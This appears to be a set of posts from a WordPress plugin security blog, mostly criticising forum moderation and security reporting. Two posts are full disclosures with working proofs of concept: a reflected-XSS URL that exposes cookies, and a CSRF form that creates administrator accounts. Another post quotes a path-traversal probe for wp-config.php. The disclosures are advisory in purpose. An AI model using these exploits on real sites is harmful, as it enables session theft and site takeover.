Blog | Plugin Vulnerabilities | A service to protect your site against vulnerabilities in WordPress plugins.

17 Oct

Making Sense of WordPress’ Inability To Be Consistent When it Comes To Warning About Insecure Plugins

Last week we discussed the hiding of pertinent information when WordPress plugins are closed on the Plugin Directory for “security issues” in relation to a plugin named Testimonial Slider. Since that post the support topic that first drew us to that has gotten a response from one the six member of the team running the Plugin Directory (that person it turns out is also in control of the moderation of the Support Forum):

Does it matter? It is insecure, and not being updated any longer.

Don’t use it. Remove it and find a new plugin.

The person who initially asked for information responded thusly:

Hi Otto,

“Insecure” covers a multitude of possibilities, ranging from the very hard to trigger and very limited in impact when triggered, up to the easy to trigger and disastrous in impact. Time is a limited resource, and people like to prioritise their time based on the most pressing problems. Having no information upon whether a problem is pressing or not is very unhelpful to the operators of the 10,000+ active sites that this is on, who, in the absence of any information, are forced to assume the worst.

I’m also a plugin developer, not a simple end-user. If a problem is an easy one-line fix, then it’s easier for me to make the fix than to research migration paths and move to a different plugin. Again, not having that information is frustrating and leads to unnecessary duplication of work.

In the case of this particular plugin, I’ve audited the code. Users are susceptible to targeted persistent XSS attacks. Googling shows that others have also done so and come to the same conclusion.

David

Which seems reasonable, especially considering the reason it was removed was actually publicly disclosed back in June. It also worth noting that in the real world moving to another plugin after one is removed can actually make websites less secure.

What makes that response from the member of the Plugin Directory team seem so odd is that at the same time they are saying that you shouldn’t use it and should remove it, if you had the plugin installed on a website while it was removed you were not given that type of warning in WordPress or any indication that it has been closed. That isn’t because it has never occurred to anyone that should be done, we have been trying to get WordPress to do that for years, but they have claimed that warning people about unfixed vulnerabilities is a bad idea. When people once tried to discuss that issue that discussion was shutdown by one the moderators as “non-productive”.

Making the whole situation even odder just yesterday we discussed another one of the moderators blocking any discussion of why another plugin was closed.

We can’t make sense of what is going on with the moderators when it comes to this sort of thing and seems maybe they can’t either. By shutting down the possibility of conversations it doesn’t really have a change to be resolved either. That is exactly the kind of problem that lead us to full disclosing vulnerabilities in protest until WordPress gets that type of inappropriate behavior by the moderators cleaned up.

The situation with Testimonial Slider though gives another reason why you should be able to discuss this type of situation, as explained by the latest comment in that topic:

I’m marking my own thread as closed now, since I took over maintainership of the plugin and cleaned it up so that it now has no known vulnerabilities. (Users were exposed to various things of this sort: http://vinnievanhoecke.be/blog/1530144000 ).

David

The plugin is now available again, which would be the community working in a positive way, something the moderators seems to be opposed to far too often.

Others Are Seeing the Problems

Looking at what that moderator recently has been up to is a good reminder that we are not alone is seeing problem with how things are being handled with the Support Forum. Here is a recent topic where a plugin developer was pointing out problems with how things are being handled by the moderators.

One of plugin developer’s points is something we have brought up before and never gotten a response to:

Secondly, when someone disagrees with you, please do not point the user to contact them via private channels. On one hand you want everything to be public, but on the other, you want to keep disagreements with the moderators on the hush hush. @clorith said “We have no manner of direct communication on the forums, and rightfully so.” yet @jdembowski tells me “If you or anyone have any complaints about any moderator reacting to your behavior then please feel free to escalate to otto[at]wordpress.org as he moderates the moderators.”

Another frequent issue was brought up:

Thirdly, do not lock topics in order to get in the last word. @clorith could have easily contacted me directly, or opened a separate topic to resolve our disagreements. There was no reason for him to lock the topic where the original poster is now unable to get any support.

Just locking topics though is not the worst of it as we have seen plenty of situations where moderators will delete topics or even stealth edit things written by others, that includes situation where the moderator that did that seem to have been a participant in the conversation before taking action as a moderator, which seems like it would usually be quite inappropriate.

If you want to see the general incoherent view of things by the person that is supposed to be in charge of the moderators you have the strange dichotomy where they had this response to the plugin developer having simply stated “At this point I’m not sure I can do much until someone gives me temporary access to their site, so I can test the problem for myself.”:

The mod had every right and reason to ban your account and kick you off the forums. He didn’t, he gave you a warning.

That is what he said is supposed to be acceptable for handling an issue with the developer of plugin on the forum dedicated for their plugin on wordpress.org, but it gets worse as he also wrote this:

If you feel “shamed” then maybe you should take that as a sign that you need better contact mechanisms. There is nothing wrong with putting an email address in your plugin and asking people to email you for help.

We would love hear the pretzel logic where somehow what the person said is wrong, but it is okay to point people to their email address where someone could get information they don’t really need and do it without anyone else being able to see something inappropriate is going on.

That also clashes entirely with what the moderator that the plugin developer originally dealt with had said to them, which would apply equally if someone ask for the information on the forum or through email:

Now for the why: The internet is a wonderful place full of very nice people and a few very bad ones. I’m sure everyone here is very nice however, by giving some ones keys to your house you are trusting they wont steal anything. Likewise the person who takes the keys is now responsible for the house FOREVER.

If something was to go wrong, then you the author may well legally become liable for damages, which they would not normally have been as their software is provided without warranty.

It doesn’t make sense that providing someone your keys makes them “responsible for the house FOREVER”, but that moderator, Jan Dembowski, frequently doesn’t make a lot of sense (which seems like a good reason they shouldn’t be a moderator).

If you want some more of the logic of the moderator in charge of the other moderators, take this:

The moderators exist to only to make the community a better place. They don’t have any evil in their hearts. I do, but then I made most of them moderators because they don’t. See, I’d be much worse at that job.

Somehow that person doesn’t see that maybe they shouldn’t be involved in something they admit they can’t handle. They also are in fact a moderator, which makes the whole thing make even less sense.

It is worth noting that the moderators themselves break the rules of the forum repeatedly and yet if you bring that up, that gets deleted, instead of something being done about their breaking of the rules. That doesn’t come across as trying to make the community a better place, but doing the opposite.

Having that person selecting the moderators also makes having them supposed to be in charge of handling problems with the moderators even worse than just themselves being a moderator as well, as they are less likely to take actions against the moderators since that would look poorly on them as they made them moderators in the first place.

17 Oct

This WordPress Plugin’s Readme.txt Doesn’t Really Have a Remote File Inclusion Vulnerability

When it comes to identifying security issues in WordPress plugins we try to be very careful. The vulnerabilities in our service’s data set is based on vulnerabilities that we confirmed existed, which is something of enough value that others lie about having data that is handled that way. For our automated tool for detecting possible security issues, the Plugin Security Checker, we are careful to note that the issues identified are only possible issues and we do a lot to avoid false positives with that. When we become aware of a false positive, we quickly work to fix that. Others in the WordPress security industry do not really seem to be all that concerned about the quality of the results of claimed security issues in WordPress plugins or elsewhere in WordPress websites. The problems though don’t just come directly from the security industry, web hosts also are a reoccurring issue with false claims of security problems in plugins, which is something that came up again in monitoring of the WordPress Support Forum for indications of security issues in WordPress plugins.

A topic was started there in the last day that indicated there might be a security issue with the readme.txt file from the plugin Zendesk Request Form:

Hi,
i just got an email from hosting provider stating this

We have put the following content into quarantine as we believe it contains viruses or other malicious code. If you feel this has been in error and
your file is false-positive (innocent), please submit a ticket to us at https://support.namecheap.com/index.php?/Tickets/Submit or contact
the Live Help at http://www.namecheap.com/support/livesupport.aspx and we will be happy to assist:

‘[RFI Exploit [P1419]]’: /home/…./wp-content/plugins/zendesk-request-form/readme.txt

RFI would usually be short for remote file inclusion, which seems to be an odd issue to be flagging a .txt file for, which normally wouldn’t have any executable code in it. The developer’s response indicates that this isn’t a new issue:

Hi Mian,

I can confirm that the plugin is clean and does not contain any malicious code. We have contacted Namecheap about this several times and they have repeatedly whitelisted the .txt file which is casuing a false-positive. However the same issue keeps repeating. I’d recommend finding a new host, since Namecheap’s exploit scanner is not configured correctly.

You can safely open a ticket with them and ask for the file to be whitelisted. This is the reply we received when we asked that a few weeks ago:

“We’re happy to let you know that the issue has been resolved. We have restored and whitelisted the file. We fixed it and everything is up and running for us.”

We are not sure where the idea that the exploit scanner is not configured correctly would come from, as it could be configured correctly and just produces bad results

The signature for the issue being identified, RFI Exploit [P1419], doesn’t really tell you much as to what it represent. In doing a search on that we only came up with two pages that were relevant and those involved other topics on the WordPress Support Forum. One of those is one we discussed before due to it being an instance of us running in to the terrible moderation of the Support Forum and involved files being uploaded being flagged with the same signature. The other involves a .php in a file from the plugin Pastacode being flagged, which would seem more relevant to the type of issue hinted by the signature. Looking at that file we didn’t see anything that looks like it would match an identification for a remote file inclusion vulnerability.

Based on past experience, something we did notice in that file, which is also true of the readme.txt from the plugin Zendesk Request Form, makes us wonder if it was the cause of this is that the file both include the domain names of several websites, including both including one that seems the most likely cause of an issue, pastebin.com. We say that in part since the companion plugin for our service has been falsely flagged as containing malware due to the website addresses for the details of vulnerabilities listed in the data. One of signatures was similar in format to the one in this instance, “[Hacker Signature Exploit [P0818]]”, and the other didn’t involve signature, but simply involved matching a domain name, “Regular expression match = [1337day\.com]”. Those false positives were apparently caused by ConfigServer eXploit Scanner (cxs). It doesn’t make sense to us that you would flag things as malicious for that sort of thing, but a lot of what is done by the security industry doesn’t make a lot of sense.

16 Oct

It Is Bizarre That a WordPress Support Forum Moderator Thinks It is Inappropriate to Discuss Supposedly Valid Actions

When it comes to the inappropriate behavior by the moderators of WordPress Support Forum that has led to us doing full disclosures of WordPress plugin vulnerabilities until that gets cleaned up, it is amazing how much of it is just downright bizarre.

After the plugin Verify Google Webmaster Tools was closed on the Plugin Directory someone started a topic with a perfectly valid support question:

Why was this plugin ‘closed’?

Then moderator Jan Dembowski, who has managed to get a public reputation for bullying, responded with this:

A plugin can be closed for many valid reasons. None of which need to be discussed here. I’m closing this topic.

If you have a problem with this plugin then please feel free to open a support topic. But only for support, topics that speculate about why a plugin or theme was closed isn’t for these forums.

That is just stunning.

If there is a valid reason for the plugin being closed that seems like something that should be able to be discussed, seeing as it is valid. It also seems like something that might need to be discussed since people don’t know why it was closed and what they might need to do about that. We also think that something that would be accurately described as problem with the plugin.

There also wouldn’t be a need to speculate if there was just a reason given why it was removed.

Unfortunately no one could try to have a constructive conversation with this moderator to explain why their reply was so problematic because the topic was closed after their reply. That is a common thing done by the moderators (in some cases they go farther and will wholesale delete topics after doing something like that), which doesn’t exactly make it look like their claims are in fact justifiable, nor that they are interested in being part of a community, but instead they are interested in controlling things.

Later a reason was given for the closure, there is supposed to be a security issue in it:

That seems like the sort of thing that people should know about and be able to discuss about on the Support Forum without moderators acting inappropriately.

Right now there are 30,000+ active installation of a plugin according to wordpress.org, which they claim to be insecure and that also seems like something else that should be able to be discussed on the Support Forum.

We thoroughly looked over the plugin (there isn’t much code in it) and the only thing that looks like it could be considered a security issue is something that under normal circumstances would only really be a vulnerability in the context of MultiSite installation. That seems like a good reason for more information on what the supposed security issue is should be released, so that others can understand what the risk is as well as being able to independently confirm that there is an issue or determine that a mistake was made and that can be corrected. You don’t want tens of thousands of websites to stop using a plugin unnecessarily (in the real world moving to another plugin after one is removed can actually make websites less secure). But as was shown with what the moderator did with that support topic, there is far too often an unwillingness for the people on the WordPress side of things to work constructively with others or consider they might be wrong about something, which is harmful to larger community around WordPress.

16 Oct

Full Disclosure of Reflected Cross-Site Scripting (XSS) Vulnerability in WooCommerce Order Export and More

The other day while looking for information on a vulnerability possibly related to a plugin that exports order information from WooCommerce we ran across a report of an unrelated possible vulnerability in the plugin WooCommerce Order Export and More from php-grindr.

That report pointed to the value of the GET or POST input “tab” being set to value of the variable $tab in the file /order-export-and-more-for-woocommerce/inc/jem-exporter.php:

130	$tab = $_REQUEST['tab'];

Where it isn’t sanitized.

The value is included in the variable $html on line 295:

		$html =  '
			<div class="hidden" style="display: none;" id="current-tab">' . $tab . '</div>

And then that is output without being escaped:

304	echo $html;

Checking over the rest of the code between those items made it look like there wasn’t anything else that would restrict that from being a reflected cross-site scripting (XSS) vulnerability. A quick test confirmed that it is exploited, as shown in the proof of concept below. This type of vulnerability has almost no chance of being exploited on the average website, unless you were to believe the misinformation put out by other security companies.

The values of the GET or POST inputs “sub-tab” and “entity” are similar exploitable.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. Hopefully they will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box when logged in to WordPress as a user that has the “manage_woocommerce” capability. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=JEM_EXPORT_MENU&tab=""><script>alert(document.cookie);</script>

15 Oct

Full Disclosure of Cross-Site Request Forgery (CSRF)/User Import Vulnerability in RSVPMaker for Toastmasters

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. While we have a number of automated checks that are used to try to spot the possibility of those, most of the vulnerabilities found so far have come from only two of those. Once again, though another one of those has caught a vulnerability. This time a cross-site request forgery (CSRF)/user import vulnerability in RSVPMaker for Toastmasters, which could allow an attacker to cause a logged in Administrator user to create another Administrator account that is controlled by the attacker.

When the plugin’s Import/Export page, /wp-admin/admin.php?page=import_export, is accessed code runs that can create new WordPress users based on the contents of an URL. There is no protection CSRF when doing that so if a hacker could get a logged in Administrator to access a page they control they could cause that to happen.

The code for that starts with this:

3868
3869
3870

if(isset($_POST['importurl']))
{
	$message = file_get_contents($_POST['importurl']);

Which gets data used to create the accounts from a URL specified with the POST input “importurl”.

Later in the code it creates user_meta database entries derived from that data:

foreach($user->usermeta as $meta_key => $meta_value)
{
	//echo '< div>'.$meta_key.' value:< /div>';
	if(is_serialized($meta_value))
		$value = unserialize($meta_value);
	else
		$value = $meta_value;
	//print_r($value);
	//echo '< br />';
	update_user_meta($member_id,$meta_key,$value);
	$record_count++;

The role of the new users is specified by the “wp_capabilities” meta_key, so the new users can easily be set to be administrators.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. Hopefully they will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

The following proof of concept will create new WordPress users based on data on the specified URL (a sample of the format for that can be found on the plugin’s Import/Export page), when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[data URL]” with the URL where the data is stored.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=import_export" method="POST" >
<input type="hidden" name="importurl" value="[data URL]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

15 Oct

WordPress’ Belief in Covering up Vulnerabilities in Plugins Is Disputed By Reality

In trying to improve the security surrounding WordPress plugins and therefore improve security surrounding WordPress, one of the biggest, if not the biggest, impediments is the people on the WordPress side of things. That starts with the person at the top, Matt Mullenweg, falsely claiming the only plugin security issue that isn’t “hypothetical” is people not keeping plugins updated, despite how many website have been hacked due to unfixed vulnerabilities in plugins. From there, a top impediment is that the WordPress folks have a belief that somehow hiding that publicly disclosed unfixed vulnerabilities is actually a way to keep people secure (even though if you believe the person at the top they are not even an issue). Here for example is the first paragraph on the page on how to report a plugin security issue:

If you find a plugin with a security issue, please do not post about it publicly anywhere. Even if there’s a report filed on one of the official security tracking sites, bringing more awareness to the security issue tends to increase people being hacked, and rarely speeds up the fixing.

We never have been sure what an official tracking site is (official in what way?), but it is strange argument that an issue that is already been disclosed in places where hackers are certainly already looking would be somehow be worse if it was mentioned in places where they are less likely to be looking, but where users of the plugin would be and could then take some action.

What actually should be the focus is on getting things fixed as soon as possible, something that people on the WordPress side frequently get in the way of happening, or barring that, warning people that they are using a vulnerable plugin, which they not only oppose doing, but even being able to have an open discussion of.

A case in point that hackers are going to try to exploit things even without a lot of awareness and the best option is to actually fix things, since that would actually protect people, is a hacking attempt we saw on this website over the weekend.

On Saturday there was a request probing for the file /wp-content/plugins/localize-my-post/ajax/include.php, which is file from the plugin Localize My Post. That file has a local file inclusion (LFI) vulnerability that was disclosed last month by Manuel Garcia Cardenas. According to wordpress.org there are less than 10 active installations of that plugin:

If the fact that almost no one uses this plugin doesn’t stop hackers from trying to exploit, it seems highly unlikely that mentioning the WordPress Support Forum is going to have some significant impact on whether vulnerabilities are exploited. That instance is far from the first time we have seen a situation where it looks like a hacker has looked at a report of a vulnerability, but not looked at anything available on the WordPress website. In fact it was less than a week ago we mentioned another plugin being targeted by a hacker that is used on less than 10 websites and less than two weeks ago a hacker who was trying to exploit a vulnerability in way that wouldn’t work because they hadn’t actually downloaded the plugin and tested things out first.

While mentioning these vulnerabilities isn’t likely to make things worse by attracting more hackers, doing that could help to get them fixed or help people to protect themselves, which the people on the WordPress side of thing oppose for, at best, a bad reason.

12 Oct

Not Really a WordPress Plugin Vulnerability – Week of October 12, 2018

In reviewing reports of vulnerabilities in WordPress plugins we often find that there are reports for things that don’t appear to be vulnerabilities. For more problematic reports we release posts detailing why the vulnerability reports are false, but there have been a lot of that we haven’t felt rose to that level. In particular are items that are not outright false, just the issue is probably more accurately described as a bug. For those that don’t rise to level of getting their own post we now place them in a weekly post when we come across them.

Arbitrary File Viewing Vulnerability in Advanced uploader

Last week we wrote about the security community’s problem understanding the basics when it comes to arbitrary file viewing and local file inclusion (LFI) vulnerabilities. We ran across that again with a false report of an arbitrary file viewing vulnerability in the plugin Advanced uploader. On one of our websites we had this attempt from a hacker to try to exploit what they thought was a vulnerability in the plugin:

/wp-content/plugins/advanced-uploader/upload.php?destinations=../../../../../../../../../wp-config.php%00

We didn’t have a vulnerability that seemed to match that already in our data set and in looking at the most recent version of the plugin we didn’t see code that looked like could be related to that.

When we did a search on the path used in the exploitation attempt one of the results was from the WPScan Vulnerability Database:

What is shown there doesn’t make sense. If there was a local file inclusion vulnerability you wouldn’t use it to include the WordPress configuration file as that did, since that file is already included each time WordPress runs. That proof of concept would be relevant if the vulnerability was an arbitrary file viewing vulnerability, not a local file inclusion vulnerability.

That page cites a report located here, which doesn’t actually describe what kind of vulnerability there is supposed to be, so the WPScan Vulnerability Database got the type of claimed vulnerability wrong on their own. The larger issue is that the vulnerability doesn’t exist.

The vulnerability is supposed to be in version 2.10 of the plugin. If you look at the code in the relevant file of that version of the plugin what you will see is that the only time user input “destinations”, which is part of the proof of concept, is used is in places in the code that are not accessible when sending a request directly to the file. It looks like someone might have looked at some of the code and thought there was vulnerability without actually understanding the totality of the code or actually testing things out, considering their proof of concept wouldn’t work (nor would it even make sense for testing purposes).

Arbitrary File Upload Vulnerability in Cnhk Slideshow

We also had a request that looked to be trying to exploit a vulnerability in Cnhk Slideshow recently:

/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php

There is a report from four years ago that would seem to be related to that, which involves a claim that there is an arbitrary file upload vulnerability in that file (which doesn’t exist in more recent versions of the plugin), but in looking at the code in the file the request would have been sent to, it is clear that the claim is false. Basic details, like the name of the file input used in the code are wrong in the proof of concept. There is also the issue that the code in the file will stop running before even getting to the upload code with the proof of concept provided as this is the first code:

if (isset($_POST['sid'])) {
	session_id($_POST['sid']);
	session_start();
} else {
    header('Status: 403 Forbidden');
    header('HTTP/1.1 403 Forbidden');
    exit();
}

The proof of concept doesn’t include a POST input “sid” so the rest of code won’t run. Even if you added that input to the request, it would fail at the next check done.

12 Oct

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Category Order

_{From time to time a plugin is closed on the Plugin Directory for an unexplained security issue without the discoverer putting out a report on the vulnerability and we will put out a post detailing the possible vulnerability that lead to that so that we can provide our customers with more complete information on the security of plugins they use.}

Earlier this week we discussed...
[The rest of this post is available for our customers, learn more below.]

Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

12 Oct

Security Isn’t The Only Place Where the WordPress Community Is Being Harmed By those in Control

Among the many of issues that come together to create the rather poor state of security these days, there is the poor state of security journalism, which isn’t so much journalism, but stenography, with the journalist simply repeating claims made by security companies. Many of those claims are in fact false, which seems like what journalist should be covering especially when you have millions, if not billions of dollars being spent on security products and services marketed with similar lies as well. That spending on products and services that don’t provide the security promised is having international repercussions, making the lack of good journalism so tragic. What seems like it explains some, if not a lot, of that lack of critical coverage is that you have security journalism outlets that are owned by security companies, even while being promoted as being “independent“. Journalists at those outlets are unlikely to be critical of security companies, since that would likely bring attention to the ownership situation and raise concerns about the reason for the critical coverage (even when it would likely be very warranted). It wouldn’t seem hard to believe that other journalist likely would do the same since their next paycheck might be coming from a security company.

WordPress faces a similar situation. One of the few outlets included on the “WordPress Events and News” portion of the WordPress admin dashboard is the WordPress Tavern, which is owned by Matt Mullenweg. That is disclosed on the About page of the website, but doesn’t look to be generally mentioned when something else connected to him is being covered. That connection seems like it might be of concern when it comes to what was mentioned in a recent post on the website, which is headlined WordPress Accessibility Team Lead Resigns, Cites Political Complications Related to Gutenberg.

The post doesn’t really touch on the political complications at issue, if you read the post from the person that resigned, Rian Rietveld, one part seems like it should be mentioned when covering this by a news outlet focused on WordPress:

To Matt Mullenweg

To Matt Mullenweg I want to say: please take better care of your community, because WordPress is nothing without it. Cherish the people who dedicate their (own) time and who work very hard to make WordPress the best it can be. Don’t ignore or make fun of them, but talk to them, guide them, inform them. Don’t be disconnected from the community, be part of it.

That sounds bad, but it could be worse, when it comes to security, you have Matt spreading false information about the current problems with the security of plugins and others in control (including one that works directly for him) actively making security worse, including even stopping the rest of the community from discussing such issues. If they simply ignored people trying to deal with those security everyone would be better off because there wouldn’t be anyone, for example, stopping people from trying to get vulnerabilities that may already being exploited fixed or leaving people believing that there isn’t a security issue with a plugin when there certainly is.

12 Oct

How Is Security News Website Owned by a Security Company An “Independent News Site”?

A few weeks ago we were mentioning that the security news website Threatpost still seemed like it might be owned by the security company Kaspersky Lab despite marketing itself as being a “an independent news site”. We happened look back at how they described themselves back when they were open about being owned by Kaspersky Lab and found that they also promoted themselves that way then. Here is the first paragraph of their About page as of August of last year:

Threatpost, The Kaspersky Lab security news service, is an independent news site which is a leading source of information about IT and business security for hundreds of thousands of professionals worldwide.

We are at a loss to understand what they are supposed to be independent from considering they are owned by a company in the industry they are supposed to be covering.

Maybe by independent they meant from normal journalistic standards, considering they didn’t provide the normal disclosure that would be provided news outlets when covering a related entity. For example here is article citing Kaspersky Lab, also from last August, were there is no mention of the outlet being owned by them. Compare that to two recent articles from the Washington Post covering Amazon that mentioned Jeff Bezos connection to the two entities.

Not surprisingly when such basics are not being properly handled we have found the actual coverage of security is often quite poor, in that previous post about them, we mentioned they were spreading false information about a vulnerability due to relying on an incompetent security company and we left a comment with a correction but that was not approved to be shown, so those reading the story would be left worse off. What would have seemed to have been better to cover in that instance was that well known security company doesn’t seem to have a clue about security, but is news outlet owned by a security company likely to expose the reality of how bad the security industry really is?

Something else we noticed is that despite Kaspersky Lab being very much a topic in the news in recent times, not just security focused news, due to claims about their involvement with the Russian government, there appears to have been no coverage of that from the Threatpost based on what articles are tagged Kaspersky Lab.